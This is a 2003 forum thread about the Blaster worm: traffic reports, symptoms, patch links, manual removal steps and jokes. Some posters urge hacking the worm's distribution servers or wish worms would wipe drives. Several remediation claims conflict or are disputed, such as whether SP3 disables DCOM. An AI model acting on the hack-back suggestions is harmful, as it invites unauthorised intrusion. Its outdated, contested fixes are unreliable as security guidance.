Check to see if you're vulnerable.

Increase in TCP 135 Activity

[Anonymous Coward]

This is our number of dropped TCP 135 requests at our border since noon today, per 30 mins, seen on our 2 Class Bs:

57,003 1200 to 1230
75,317 1230
59,321 1300
52,642 1330
130,932 1400
202,996 1430
277,183 1500
247,682 1530
320,919 1600
361,504 1630 to 1700

milspec

Re:Increase in TCP 135 Activity

[molarmass192]

We're seeing a steady upward trend in 135 reqs too. Much worse from our backup ISP than our primary. We've got our firewalls flicking these off at the doorstep but then again they were never allowed in in the first place.

Re:Increase in TCP 135 Activity

[EnglishTim]

I'm just on a cable broadband connection, but my router logs are currently full of hits to port 135. I'm getting a hit every 10-20 seconds.

Re:Increase in TCP 135 Activity

[Anonymous Coward]

And here is the graph of those hits, per 30 mins:

http://aster.uits.uconn.edu/~ipaudit/images/dcom-l arge.png

milspec

Re:Increase in TCP 135 Activity

[Anonymous Coward]

Let's see if we can't tar this thing up!

go ME!

[StevenHallman76]

Affected Software:

* Microsoft Windows NT(R) 4.0
* Microsoft Windows NT 4.0 Terminal Services Edition
* Microsoft Windows 2000
* Microsoft Windows XP
* Microsoft Windows Server(TM) 2003

Not Affected Software:

* Microsoft Windows Millennium Edition


finally! all these years of running Win ME have paid off! so long suckers!

Re:go ME!

[Anonymous Coward]

I hope that after its infected a machine, that it formats the hardddrive of the "infecter" machine. Teach all these morons a lession for not even running a single SP or patch. If my webserver gets a Nimda attack, then the machine gets deleted

Re:go ME!

[Sneftel]

I'm afraid you stopped reading too soon. Here's the bit you missed:

Sucks big fat sweaty donkey balls:

* Microsoft Windows Millennium Edition

Re:go ME!

[pdbogen]

You don't understand. It's not affected, because nobody uses it. You can't infect something that isn't running, right?

Re:go ME!

[RandomCoil]

Not Affected Software:

* Microsoft Windows Millennium Edition

Don't worry, Microsoft should be releasing a patch for WinMe later today. :)

Re:go ME!

[Anonymous Coward]

Sucks big fat sweaty donkey balls

Hmm, salty...
...seems you have experience?

Re:go ME!

[Mista LovaLova]

Noooooooooooo!!!!! Now Corporate Execs will want to migrate all of our machines backward to WinME. They will probably think its newer since no one's heard of it!

Re:go ME!

[m0rphm0nkey]

I got no mod points this week but... LOL!

Re:go ME!

[colinleroy]

all these years of running Win ME have paid off! so long suckers!
You meant "trying to run" Win ME, didn't you?

OMG

[stephenry]

OMG! It's not a worm, ITS SKYNET! It's taking over! Make your time, judgement day is nigh!

Re:OMG

[Anonymous Coward]

I would think that SkyNET would find a better way to control all the machines on the planet.

Re:OMG

[bytesmythe]

Make your time? You have no chance to survive!

Re:OMG

[sharkey]

Terminator 3 turn on!

Someone set up us the bomb!

Re:OMG

[SmallFurryCreature]

Yeah, we all know w2k is used to control all essential production plants, distribution nodes and weapons control systems.

Somehow I am imagined judgement day as slightly more impressive then a thousand crashed porn browsing sessions.

Re:OMG

[Anonymous Coward]

OMFG! I just found a terminator in my server room!!!

Well, ... a SCSI terminator - but this is just the beginning!

Re:OMG

[oPless]

What you say ?

Somebody set up us the bomb ?

It's You!!

For Great Justice !!!

Re:OMG

[Anonymous Coward]

you know whats funnier than your attempted joke.. the fact that you probably believe it isn't

Protection from the virus

[Anonymous Coward]

I've been digging around the web, and I can't seem to find out how to protect myself. I can't seem to find anything that prevents this virus from attacking my linux or as/400 servers. Help!

Re:Protection from the virus

[SmallFurryCreature]

Well for the linux "protection" you should have paid youre SCO protection money, shouldn't you?

And your as/400 is perfectly safe. The playstation does not come with a internet connection.

Re:Protection from the virus

[Odin's Raven]

I've been digging around the web, and I can't seem to find out how to protect myself. I can't seem to find anything that prevents this virus from attacking my linux or as/400 servers. Help!

In a press conference held earlier today, SCO announced that the virus incorporates unspecified proprietary IP belonging to their company, and is demanding $699 per copy to license the virus for any Unix-style OS. The author of the virus was unable to afford these fees, so at the current time the software is unavailable for non-Windows platforms.

(Windows users are covered under a previous agreement in which Microsoft Corporation purchased a license to "any and all of SCO's IP" -- a deal reportedly worth in excess of $1.27)

Darl McBride indicated that interested parties running Linux or IBM operating systems can contact SCO to purchase licenses allowing them to run the virus on their machines. McBride also warned that Linux and IBM users caught running unlicensed copies of the virus could be held liable for "millions...maybe even billions" in damages and legal fees for infringing on SCO's IP.

Erkk

[Anonymous Coward]

Got hit by this earlier today, I'm not normally a slouch with these things but this one really hit me hard, took me 4 restarts to find out what was going on. (As every time I connected to the net I was immediatly given 60 seconds before another auto restart) I can see how non-techies are gonna be totally screwed by this.

All I can say is change the properties of your RPC service repair functions. Start -> Administrative Tools -> Component Services -> Services (local). this will at least give you time to go online and download the MS patch, which we should have done weeks ago I know :)

Re:Erkk

[Hiltono]

Doh! Forgot to login first, new to this whole thing :( Still hope this info helps some of those peeps on a sharp time limit :)

Re:Erkk

[thinkninja]

I got hit too :/

Had to wait for a new dynamic IP so I could grab the patch from Windows Catalog without RPC rebooting the damn system. Still managed to crash about 4 times before I managed that. Luckily I caught TFTP at the firewall so I never actually got msblast.exe

Re:Erkk

[Anonymous Coward]

Will booting into safe mode and using System Restore solve the problem?

ADSL

[Anonymous Coward]

I wonder if this is why most of Sweden's ADSL connections are down ATM :(

Re:ADSL

[nr]

I'm on Telia Internet LAN in Sweden and have been hammered all time since I got home from work and turned on my PC, not only on port 135 but also on port 445.

Re:ADSL

[lightcycle]

My isp's (Spray ADSL in Sweden) DNS is down now. All I can browse at the moment is whatever addresses my router cached before the dns disappeared. Anyone else using Spray having problems, or know if this worm's causing them?

Hack the ftp server.

[Anonymous Coward]

replace worm.exe with safe.exe or something. Maybe we can even put a linux installer on there and "convert" some to the safe computing world.

For more info, go here.....

[venom600]

http://isc.sans.org/diary.html?date=2003-08-11

Re:For more info, go here.....

[br0ck]

Am I the only one that can't get to this link or even to isc.sans.org?

Re:For more info, go here.....

[venom600]

I bet they're pretty smacked right now. This link and links to isc.sans.org were immediately put up all over the place and sent to security mailing lists when people started hearing about the worm.

Not quite safe:

[Telastyn]

http://www.kb.cert.org/vuls/id/326746

win2k machines are still vulnerable to a dos; even patched.

Thanks microsoft...

Re:Not quite safe:

[dackroyd]

Luckily my Firewall appears to be mostly protecting be.

Unfortunately the worm still manages to knock over Svchost.exe and so my browsing appears to be a lot more difficult than usual.

Also knocking out svchost appears to disable copy+pasting on my machine. What the fark is that about ?

Re:Not quite safe:

[Anonymous Coward]

Your point? You can dos any open port on most OS's. It's not exploitable anymore with the patch.

Re:Not quite safe:

[Anonymous Coward]

Try turning off the remote clipbook service

Firewalls ?

[Kilka]

I've heard rumours that China has plenty unpatched machines. Maybe they intend to use the firewall to block those Mongolian RPC invaders!

Agreed

[ttyp0]

All our desktop computers are Windows, and simply have too many users to try and keep everyone patched. So instead, block all incoming ports on the firewall, and voila. Why this isn't standard practice is beyond me.

Anti SCO T-Shirt. $1 donated to OSI Fund on each shirt.

Re:Agreed

[irc.goatse.cx troll]

Thats all fun and good until you factor in user stupidity.

I send you this file to have your advice.

Re:Agreed

[Anonymous Coward]

Are you serious? I work at a company with 50,000 employees, and we all run Windows. We're patched.

Set a domain policy to run the patch executable on startup. Anyone non-savvy enough not to be patched will click "yes" anyway.

Re:Agreed

[carpe_noctem]

Because sooner or later, you'll get owned. The worm will mutate into a virus, and some asshat will open it with OE, and your LAN will be toast.

Don't assume that just because you can control the gateway that you can protect yourself from "someone else's problem".

Re:Agreed

[rodgerd]

Ever given anyone a laptop, remote, access, etc.

Re:Agreed

[AlphaSys]

AMEN to this. I had a remote user get slammer. My T-1 provider phoned at 2:00 AM to inform me that my network was broadcasting the nasty. I assured him I was not, but a quick packet capture at the gateway hinted I was wrong. When I revoked his dialin privileges, he was on the phone at 2:30 AM asking why he couldn't get in. I told him I was sleeping and he was infected to call me back when he had reformatted, reinstalled, patched and scanned. When he called back again, I told him I wasn't done sleeping I'd call him back later.
This was the incident that finally got me to deploy SNORT at a few choice spots on my network.

Re:Agreed

[Flower]

And then someone VPNs in and you're still infected.

Isn't it funny when the real world gets too complicated for simplistic answers?

Helpdesk is worried...

[Kismet]

My JBoss server was listening on port 4444, so I got a call from the IS guys who thought my PC was compromised.

Worse

[Anonymous Coward]

I work at a Microsoft call center :-(

Re:Worse

[caluml]

And they don't block access to Slashdot? But it's full of Linux propoganda!

Re:Worse

[frodo from middle ea]

Yes but it carries Microsoft ads...

Re:Worse

[einhverfr]

And they don't block access to Slashdot? But it's full of Linux propoganda!

No, but slashdot sometimes blocks us because some corporate loser does something stupid. Then I have to change which proxy I use....

Andyway, due to the virus, I am really glad I am not working today, but I have had to send the msblast.exe to our virus reporting team, etc.

Firewalls *may* not protect you here

[venom600]

Everybody keeps posting that they have this or that port blocked on their firewall, so they're safe. Not so. All it takes is one person inside your network to open the wrong file attachment, or one laptop that went outside the network and then came back in to infect your internal network.

Re:Firewalls *may* not protect you here

[Anonymous Coward]

Everybody keeps posting that they have this or that port blocked on their firewall, so they're safe. Not so. All it takes is one person inside your network to open the wrong file attachment, or one laptop that went outside the network and then came back in to infect your internal network.

Of course, some people run a firewall on each machine. If you just have to put one script on each machine and run it to establish an effective firewall, there are only so many reasons not to.

Re:Firewalls *may* not protect you here

[venom600]

This still doesn't protect you from a 'user' clicking on a file attachment that they should not have and infecting the local box. If your local firewall is limiting outbound traffic as well, then great. At least you won't spread the disease.

Honestly though, if you've taken the time to put firewall rules in place on each individual box, why not just patch each one while you're at it?

Re:Firewalls *may* not protect you here

[Anonymous Coward]

Blocking Windows RPC will break all of the remote admin tools, so you'd might want to think twice before killing it with your script.

Re:Firewalls *may* not protect you here

[dJCL]

I AM the only one inside my firewall...

Thou I agree when it comes to those who actually have a job that requires dealing with this... Hell just having a job would be good right now... oh well...

Re:Firewalls *may* not protect you here

[Anonymous Coward]

Assumming that you're a Windows install monkey, errhhhm Administrator.

Shouldn't all you rebooters be out patching or something? You guys are the shonky mechanics on the information age.. professionals, yeah right. All there sucking on the devils tit while Microsoft keeps you employed patching shit software that people don't even need.

DCOM is on by default in Windows ? That's fucking ridiculous. Keep hitting the OK button boys.

Re:Firewalls *may* not protect you here

[alyandon]

Yep, the exact same thing happened to a company I was working at when the SQL Slammer worm hit.

The IT department hadn't bothered patching all of the production/development instances of SQL Server up to SP3. On of the employees with a laptop running MSDE became infected over during the weekend while they were at home. When they came into the office later that weekend and plugged into the network... boom!

Re:Firewalls *may* not protect you here

[Anonymous Coward]

but if you block all those ports in and out including 4444 that the tftp server runs on how on earth would it do anythign but run around my network. besides it would be good if this happened as i can see which systems are not patched up in the safety of my own network.

Re:Firewalls *may* not protect you here

[silas_moeckel]

Well firewalls generaly are a lot less time consuming to configure and have the ability to be configured en Mass out of the box unlike windows servers. They also dont have significant dependancy issues in upgrades like windows PC's often do (even Linux boxes and unix boxes in general can depending on what it is getting updated) but the reality is a pair of firewalls can reliably handle hundred of megabits of traffic enough for the outside connections of a whole datacenter with thousands of PC servers so the manpower and cost generaly makes it cheaper and faster to update the firewall than all the servers.

Directly all the firewalls I control, that have been setup to my spec stop this on in it's tracks because connections to remote TFTP traffic are not allowed period. Public servers shouldent be allowed to make outgoing connections it's that simple any connections they do make should be to internal servers (proxies for anything they might need to get to) this makes keeping them secure very easy but the cost of having a proxy and the general levels of agrivation generaly mean it's only feasable on a larger network and not for colocation / webhosting (client issues) as people dont want secure theyw ant easy most of the time.

Re:Firewalls *may* not protect you here

[Anonymous Coward]

I AM the only one inside my firewall...

That you know of...

Re:Firewalls *may* not protect you here

[Anonymous Coward]

At my university (University of California, San Diego), this is exactly what happend. The firewall blocks these, but somebody got it into the school network and 4 of the machines in my lab (only about 6 people there today!!) were rebooting. This is a nasty little bug.

Every worm needs a good name

[Anonymous Coward]

I suggest the "Trustworthy Computer"

What's in a name

[The_Wizard_-P]

W32.Blaster.Worm http://www.symantec.com/avcenter/venc/data/w32.bla ster.worm.html

Block the TFTP servers

[caluml]

They'll just block the hosts that it uses to tftp the worm from - that should pretty much put paid to it.

Someone should change the worm to make it reboot the machine - that'll larn 'em :O)

Re:Block the TFTP servers

[gl4ss]

it apparently does reboot some systems every 50-60 seconds(bu-overflow it uses causes it, supposedly).

supposedly if you enable the fw it will stay up though.

being so vague because i just read about it few lines up.. and i'm not running any windows boxes open to the world anyways..

I'm safe

[teamhasnoi]

I've rolled a saving throw against remote infection and I have +3 Fireproof armor, however I am still vulnerable to hot wood elves.

You did say this was a RPG worm, right?

Re:I'm safe

[wirelessbuzzers]

No, it's an RPG wurm. That +3 Fireproof armor will come in handy.

Re:I'm safe

[marko123]

Rocket Propelled Grenade worm, I thought.

Hyearh, and Hyearh!

Windows XP Symptoms

[Titanium Angel]

It looks like the worm affects svchost.exe (the Generic Host Process), and keeps restarting the computer. At first I thought that some of my hardware was failing, but after reading dozens of posts on Usenet about similar problems, I wasn't really sure. So I researched a bit on Google, and found the MS security bulletin. After patching my system, the problems seem to have gone. I guess I should have followed more closely Microsoft's security announcements.

So, if you have strange issues with the RPC, or are experiencing similar symptoms as I have, patch up now!

Re:Windows XP Symptoms

[Papa Legba]

Make sure you clear the worm now. Patching stops the infection from getting in, but if you are already infected the patch does not stop you from infecting other people with it.

Everyone, make sure you are cleaning up after the patch. This is a common oversite when it comes to these sort of Worms.

Papa Legba

It started for me this afternoon

[dBLiSS]

My computer started rebooting itself this afternoon stateing .. "windows must now restart because the Remote Procedure Call (RPC) service terminated unexpectedly"

I figured it was a new worm!

Re:It started for me this afternoon

[Sorthum]

Heh, might wanna check that before automatically assuming...
The one thing that separates the clued from the users is our ability to pull ourselves out of the nosedive.

SP3?

[poptones]

Are there really that many win2k systems not even running SP3? That's not the only fix, but I have a box here that has had zero patches except SP3 and DCOM is disabled by default - which pretty much makes this "buffer overflow" a non issue. Doesn't XP also install (by default) DCOM disabled? So where is all this traffic coming from? People too nervous to install SP3? People too stubborn to stop using NT4?

Re:SP3?

[red floyd]

A lot of people didn't install SP3 because they had the "All your system are belong to us" license. They fixed that in SP4.

Re:SP3?

[ostiguy]

This is a post sp4 hotfix. sp3 nor sp4 fixes this.

Re:SP3?

[NotAnotherReboot]

People who install servers for limited use but really don't know that much about it. My dad is running a Win2k box with Apache, mySQL, and a Real Video server. He really had no clue that he should be patching it. People just assume that these problems won't happen to them, or think that they are probably secure.

I told him to run Windows Update a couple of weeks ago, something like 80 needed updates.

Re:SP3?

[Anonymous Coward]

Hey douchebag, he said that sp3 disables DCOM by default, making this vulnerability null.

Re:SP3?

[MoosePirate]

Doesn't XP(and 2000) install by default with DCOM turned off? Nope. At least not any time I've installed it. Unless I'm turning it on without knowing it, but I doubt that. SP3 is just as vulnerable as with no service pack at all. And guess what, you want to know the machines that have been hit the least by the numerous worms so far? NT4. Yep, we've had lots of troubles with 2000 and XP but only a few of our NT4 machines(a large part of our install base) have been hit.

Re:SP3?

[Kris_J]

After reading through everything, I don't think SP3 is a fix, since the patch "is okay to install on SP3 and SP4" and "will be included in SP5".

Re:SP3?

[poptones]

Well, my ISP's mail server has been knocked offline today, and I'm running a box with NO updates except SP3 and it ain't been touched. Nor WILl it (not by this bug) because DCOM is DISABLED. According to MS (and logic) that's one sure fire way to avoid an overflow buffer problem in the service.

Given that no one else has touched this box, and all I have done since it was brought online a week ago is install SP3, care to offer a rational explanation for the disabling of the service?

SP3 is just as vulnerable as with no service pack at all.

Quite obviously, this is wrong.

Of course, if you NEED DCOM then the patch will have to be installed. Otherwise, SP3 seems to disable the service - which is all that is required to avoid the problem.

Re:SP3?

[jamesh]

People rubbish windows update, but i think it's the perfect solution to the problem. It will either:
a) install all the latest updates
or
b) kill your computer

both outcomes result in a more secure server/workstation. :)

(to be fair, i've never had a computer that broke as a result of windowsupdate, although i've heard stories of people who have).

Re:SP3?

[Anonymous Coward]

Are there really that many win2k systems not even running SP3?

I work for a corporation where the number of SP2 machines numbers in the tens of thousands. So yes.

WINE?

[Anonymous Coward]

Does anyone know if WINE supports this worm yet? I would like to test it out but I don't have Windows on my desktop.

Thanks.

Where was this story 3 hours ago?

[Speed Racer]

A friend of mine called me about 3 hours ago saying that her brand new Windows XP notebook kept rebooting with some strange message about RPC. I had her download the free version of ZoneAlarm and that blocked the worm and let her stay online long enough to download the patch. If you know somebody that's getting hammered, have them give ZoneAlarm a shot.

Re:Where was this story 3 hours ago?

[linhux]

The same happened to a friend of mine, who called me for assistance. He just killed the msblast.exe process, enabled the built-in Windows XP Firewall, and went on downloading the patch. Thus, the built-in Windows Firewall seemed to block stuff well enough.

Re:Where was this story 3 hours ago?

[Anonymous Coward]

XP has a built in firewall. wtf did you download Zone Alarm for? Unplug the computer from the internet connection, turn it on, enable to firewall, reconnect to the Internet. OH LOOK PROBLEM SOLVED!1!!11one1!!1

Re:Where was this story 3 hours ago?

[Speed Racer]

XP also has a built in disk defragmenter. Guess what, I bought PerfectDisk for all my NTFS defragging needs.

In other words, when it comes to implementing a software firewall correctly, I trust Zone Labs more than Microsoft.

Re:Where was this story 3 hours ago?

[Ulky]

Um... the patch was about 1.4Meg or something, last time I downloaded ZoneAlarm it was >2 Meg.
<br>
Wouldn't it have been better for you to tell her to download the patch? :)

Re:Where was this story 3 hours ago?

[sonofagunn]

I have the completely up-to-date free version of ZoneAlarm, and I still got the worm.

Re:Where was this story 3 hours ago?

[Anonymous Coward]

I must say that I disconnected my Router from Internet after continuous reboots to see if that stopped the worm from executing. The effect still occured even offline, but only every time I tried to open Internet Explorer. So the problem comes from inside once the worm has hit your machine and no firewall will save you. I managed to download and install the official patch and the system (Windows XP) stopped rebooting. I still have the worm in my computer, but it seems the patch has been able to disable it so far.

More diagnoses info

[Papa Legba]

On XP you are getting two error codes.
The first is a system shutdown window tellign you that the RPC service must be restarted,. This gives you 30 seconds before reboot. Iniated by NT Authority\system. This is a succesful XP infection

The other is Windows cannot open this file:

File: TFTp784

This appears to be an unsuccesful try.

For windows 2000 it crashes svchost trying to get in it appears. Just apply the patch to stop the crashes. It does not appear to get into the system in this case

Hope this helps everyone

Cagliostro

Re:More diagnoses info

[Anonymous Coward]

I changed the settings for windows XP so
that it doesn't restart the computer if RPC
crashes. How nice.

Re:More diagnoses info

[Anonymous Coward]

I'm running windows 2000, and had svchost crash. However, this WAS a successful infection. I checked my port usage with netstat and found all of the port 135 and 4444 activity described. I used TrendMicro's web antivirus check and sure enough it found the file msblast.exe and cleaned it for me.

Just as a warning to folks, I reccomend looking for the file and deleting it if you notice this crash on a 2000 box, after downloading the patch. It may indeed have been a successful infection. I was on service pack 3 when I was infected, that may make a difference.

Re:More diagnoses info

[corkhead0]

Any information on how to remove it? I'm gonna go do some googling...

Re:More diagnoses info

[corkhead0]

Further information/updates from my winxp box:

-Disabled DCOM.
-Haven't seen the restart more then the first time.
-Don't have any files described by any sites seen on google.
-Updated ZoneAlarm and ran through windows update.

Perhaps the reboot isn't a %100 proof? Oh well, time to restart manually... Good ol' windows.

Just a note I liked...

[dJCL]

I just noted something I liked from the article... Just to make things more fun they suspect that it also starts a synflood attack on windowsupdate.com, meaning it is a worm that tries to make it hard to get the patch to fix things... I find that funny, almost as good as the suggestion for a virus/worm to actually _do someting_ damaging to a system to convince people this is not a joke.

Anyway

Re:Just a note I liked...

[Mryll]

Sounds like AIDS... :(

I work for an ISP..

[mesmartyoudumb]

And our users are getting POUNDED by this.

"YOU BASTARDS KEEP DISCONNECTING ME!"

I had the worm already today...

[itsmeddc]

This is my first post - I'm just posting to say, that at about 1:00am today, I already found MSBlast.exe on my computer after a series of RPC errors. I patched using a file you can find in MS database: http://www.microsoft.com/technet/treeview/?url=/te chnet/security/bulletin/MS03-026.asp And after cleansing my computer (and loading up Tiny Firewall 5.0) the problem is fixed. Also a helpful hint in case you need it: If you recieve an RPC error and a countdown is started to shut your computer down, then go to start>run and type "shutdown /a" and that will stop the countdown. Hope this helps someone at least.

Yep... over a year on and MS can be considered

[Anonymous Coward]

"trusted computing"

d:/

[Anonymous Coward]

thank god i dont have a c: drive, i have everything set to d:/ :) hahaha!

First? Not even close

[MoosePirate]

First worm? Nope. Second? Not even. I work at a university and we have been running around for a week now patching systems and fixing worms that started last week. They have hit NT 4 and 2000 machines. We found them by chance, but they are installing all sorts of things. Trojan.stealther is the one that hit hardest, on all unpatched 2000 machines. So this is not the first worm at all. They have been out in the wild for at least a week now, and we are now patching and fixing all the many hacked or vulnerable systems.

How to patch

[einhverfr]

Enable Internet Connection Firewall, apply patch, remove virus :-)

The first is necessary because it is the buffer overrun which reboots the computer.

Slashdot saves my girlfriend!

[brandonY]

My girlfriend called me not 20 minutes before this article went up asking what RPC was and why it was shutting her computer down whenever she got on the Internet. A quick glance at this article's headline followed by a thorough read of symmantec's removal instructions led to me calling her back and another day saved! Thanks, Slashdot! Thanks, Symmantec Security Response Team!

Re:Slashdot saves my girlfriend!

[Anonymous Coward]

Now for the payment...

Re:Slashdot saves my girlfriend!

[Anonymous Coward]

Payment to the boyfriend, or payment to the Slashdot readers? Hhahahahaha!

Re:Slashdot saves my girlfriend!

[gav1n]

and thanks PRECISION MAN!

Re:Slashdot saves my girlfriend!

[Anonymous Coward]

your gf better be washing your hood... and im not talking about your car.

This is just sick.

[dodell]

I don't really look at Windows security updates, but why the HELL don't they put these patches on Windows Update? The reason that these worms spread is because NORMAL people (and idiot sysadmins) don't go and read these security updates.

I have WinXP SP1 installed, with all the updates and critical security fixes installed. I just go look here and I see that there are 21 extra updates I should install. All of them are remote exploits as well.

I will say that I am surprised, I thought I had been staying up-to-date. I don't do Windows server administration, so I didn't know about these. I Windows for my desktop, naturally. But I really don't understand why they don't go ahead and put this crap on Windows Update? Are they afraid of the bad press? Everyone and their goldfish knows that MS is insecure anyway, they may as well put it there.

Bleh. Why didn't /. cover the other 20 of these things?

Re:This is just sick.

[red floyd]

They *DID* put it on Windows Update. On 16 July.

Re:This is just sick.

[E-Rock]

Uh, I'm not sure what Windows Update you use, but this patch has been part of the MS Windows Update for about a month now.

Re:This is just sick.

[djrogers]

This security patch HAS been on widowsupdate. Matter of fact, the box I'm currently using was patched for this exploit on 8/5 via windowsupdate...

Re:This is just sick.

[Anonymous Coward]

This has been on Windows Update for a month.

Re:This is just sick.

[GreyDuck]

They *DID* put it on Windows Update. On 16 July.

That's not entirely accurate. I just went to WU, and the RPC fix isn't there. You have to go to the other downloads page to get this one.

Grrrrrr. Yes, I've been a good boy about hitting WU, but apparently that's not good enough...

Re:This is just sick.

[The Bungi]

That fix has been there for almost a month. So... shut up, please. There's nothing worse than going off on a "OMG, M$ suxx is teh gahyest!!1!!" rant when you're just plain wrong.

Re:This is just sick.

[Anonymous Coward]

Um, no, it's a critical update. Windows update even selects it for you. What site are you visiting?

Re:This is just sick.

[caluml]

There was an issue on Bugtraq where if your PC time or date is incorrect, Windows Update simply tells you that there aren't any updates. Maybe that's your problem?

Re:This is just sick.

[Millyways]

I have a Windows server 2003 machine that was totally Windows Updated up and it was still rebooting.

I installed the patch downloaded from Microsoft's website and it is now fixed.

THANKS MICROSOFT...

Re:This is just sick.

[instantnoodles]

Good point. A lot of people compain about MS's bugs, but that's just because they are looking for a throat to choke. Any software as popular as MS's would also get worm attacks.

Solution

[bwdunn]

Another comment was right - poorly configured firewalls will result in a HUGE problem. Here's the fix:

Control-Alt-Delete to get to Task Manager. Look for a process msblast. Kill that process. Using Task Manager, start a new process called regedit. Using regedit, navigate to HKLM\Software\Microsoft\Windows\CurrentVersion\Run and take out msblast there. Then run the patch from this site:

http://download.microsoft.com/download/9/8/b/98b cf ad8-afbc-458f-aaee-b7a52a983f01/WindowsXP-KB823980 -x86-ENU.exe

Restart. That should do it.

Re:Solution

[straybullets]

and also : delete the file msblast.exe

Wow. I just checked at home...

[teamhasnoi]

Zone Alarm had been going off once every 6-7 hours for the last few days; I just assumed someone was port scanning me.

I just checked, and it has been hit 63 times in the last four hours. I would not run XP without good ol' ZA...

Re:Wow. I just checked at home...

[Rudy Rodarte]

Amen brotha! I know the freeware ZA isn't the End-All/Be-All of firewalls, but its good enough and it has never failed me. In other news, ZA has like 50 hits on port 135. Soon enough, I'll pony up some cash for the Pro Edition, simply because they did a good job, IMHNonNetworkingMasterO

freedce - DCE RPC for Linux

[hey]

Sure there's a bug now. But Microsoft picking DCE RPC for DCOM was a nice thing for the open source community since its a documented protocol. There's a project supporting it on Linux: freedce. I have used freedce to communicate between Linux and Windows. It's nice.

Re:freedce - DCE RPC for Linux

[Mryll]

Hmm - most interesting. I never got into DCOM, but I'm amazed that Microsoft used DCE RPC. Especially considering that they rolled their own rather than use ONC RPC for local IPC. Wow...

Re:freedce - DCE RPC for Linux

[Anonymous Coward]

Their RPC is network-compatible with DCE RPC, but they didn't licence the real thing from DCE...didn't want to pay the royalties.

Re:freedce - DCE RPC for Linux

[Mryll]

Sounds like Microsoft...

this one is nice too.....

[Anonymous Coward]

have a look at : http://security.tombom.co.uk/shatter.html
it is worth reading.......

I was *nailed* by this thing over the weekend

[drgroove]

At first, I couldn't figure out why Task Manager suddenly stopped working. Launching TaskMan.exe resulted in an error message "Task Manager has been disabled by the Administrator".

Odd, I thought. I *am* the administrator.

I realized I had been hit by a virus or worm when I rebooted and the autoexec.bat file opened up during my login. Not good.

Norton didn't pick up on this one at all; furthermore, McAfee's online virus/worm searching tool found a related virus, but not the actual baddie.

The virus that McAfee located - which probably came in after the worm opened up all those ports in my firewall - were in \WINNT\msagent\intl. Basically, anything in that directory that *isn't* a .dll file, delete them.

The worm itself is in \WINNT\system32\, and is called 'msconfig[nn].exe', where [nn] is interchangeable with two numbers. Mine was 'msconfig35.exe', I've read reports on various forums of others w/ '32' and '33' after the 'msconfig'.

Be careful here, as this app will spawn identical, hidden copies of itself with random names (like 'dwigjenjig.exe' or 'zajdfanltef.exe'). The easiest way I found to discern between real MS files and the worm was by looking at the last modified date displayed by Explorer, vs the last modified date that pops up when you mouse over the file name. All of the worm files had discrepancies between the two.

Hope that helps someone out there!

Re:I was *nailed* by this thing over the weekend

[Anonymous Coward]

You were nailed by one of the many other exploits of RPC-DCOM, not this worm.

Your instructions are good, but don't apply to this worm in particular some of the other exploits we have seen over the past few weeks.

Cheers.

Re:I was *nailed* by this thing over the weekend

[Cheffo Jeffo]

It is more likely that you got nailed by someone making upclose and personal use of one of the various exploits.

The fact that tons of machines have been compromised over the past couple of weeks is why it is strongly recommended to rebuild infected machines -- if this worm gets you, it is quite possible that you had already been 0wn3d and may have all sorts of nasties installed.

Cheers,

JAKD

Ahhh, that explains everything...

[NeuroManson]

Comcast's being hammered with calls to their tech support line. The entire network is bogged down nationwide, due to an issue "Affecting Windows XP, Windows 2000, and Windows NT systems".

Their technicians are working with Microsoft to resolve the issue.

Knowing Comcast, that means they'll be up and running at full speed again in, oh, January next year at the soonest.

Re:Ahhh, that explains everything...

[Keeper]

Whatever they're doing, it's taken down the net connection to my computer at home. And it's been down 2 hours longer than it normally does (it isn't unusual to see the connection go off for a half hour or so during the middle of the afternoon once or twice a week).

Busy day

[Anonymous Coward]

Somebody must be taking all the calls, because I'm sitting here in our HP call center, and nobody's printer has been broken allllllllll day. I'm assuming they all have their hands full. =)

Stanford and Cal hit hard by RPC exploit!

[Anonymous Coward]

Stanford has been hit pretty hard by this. 2,400 of their 20,000 machines compromised!

And Cal(Berkeley) is blocking their network from outside access starting today for four days. Makes me wonder how many other large networks have been compromised, but don't know it.

I'm glad I don't work at Stanford.....don't envy them having to wipe 2,400 machines and sort through files that need to be replaced.....trying to avoid trojans, etc

Re:Stanford and Cal hit hard by RPC exploit!

[Anonymous Coward]

Princeton was hit pretty hard, and is still in the process of clean-up. It ain't pretty.

Re:Stanford and Cal hit hard by RPC exploit!

[roothog]

I'm a bit surprised at the number of universities hit hard by the virus. Here at the University of Wisconsin, our peering router has been blocking ports 135-139 and 445 since August 1. All students were notified by email to update their systems, for whatever good that may do.

I suppose all it takes is a single infected laptop connected behind the router to render port blocking moot, though... At least it gave administrators of the various department networks a chance to patch their systems and mitigate damage.

Re:Stanford and Cal hit hard by RPC exploit!

[Anonymous Coward]

Our admins at a certain Ivy League university, in their infinite wisdom, won't block the ports at the gate, since "there are legitimate uses and we don't want to censor our academic mission" or some such bullshit.

Wonder how many infected machines we'll have tomorrow?

Re:Stanford and Cal hit hard by RPC exploit!

[KU_Fletch]

Toss University of Kansas onto that batch. While the good folks at KU were good enough to patch the lab computers, they neglected to forward this to most departments. So as soon as one computer in the system was infected, it spread like wildfire. What made it worse was the fact that end users are reprimanded for setting up firewalls for themselves, so unless somebody was smart enough to run auto-update in the last month, they were screwed. I litterally listened in my office and heard over a dozen XP computers reboot within 3 minutes of each other. What I fun day I had running FixBlast on everyone's computer. But hey, at least KU has put up a warning (warning, not solution mind you) after the fact. That sure did a shitload of good.

Re:Stanford and Cal hit hard by RPC exploit!

[Anonymous Coward]

Actually, haha, but Cal (Go Bears!) wasn't hit hard by this. They put up the network blocks preemptively, before the worm even popped up in the wild, just to be on the safe side in case some machines on the network weren't patched. They were just being cautious due to the DCOM bug (which, after all, has been known for like a month now). Just a precautionary measure, and it likely paid off when a wild worm popped up. As for Stanfurd, well...

MICROSOFT's patch for this

[segment]

http://www.microsoft.com/technet/treeview/default. asp?url=/technet/security/bulletin/MS03-026.asp

Saw this discussion on the NANOG list.

Saved by a penguin

[Anonymous Coward]

What happens to your computer if you get this worm? My friends Xp box just went flaky, when you boot it up it says it has some kind of RPC problem then shuts down after some 30 seconds.
I asked another friend of mine if you could just put the recovery cd in reinstall the OS, but he wasn't willing to take a chance hosing his data.
Anyway I'm headed up to his place later today with knoppix in hand to burn him some cd's of his data so he can do a reinstall. He is freaking out since all of his invoices are on that computer and supposed to go out tommorrow. Gotta love that knoppix!

Re:Saved by a penguin

[Anonymous Coward]

That's the exploit, you should probably completely reformat since he could have any number of backdoors/trojans that virus scanners won't pick up.

Re:Saved by a penguin

[straybullets]

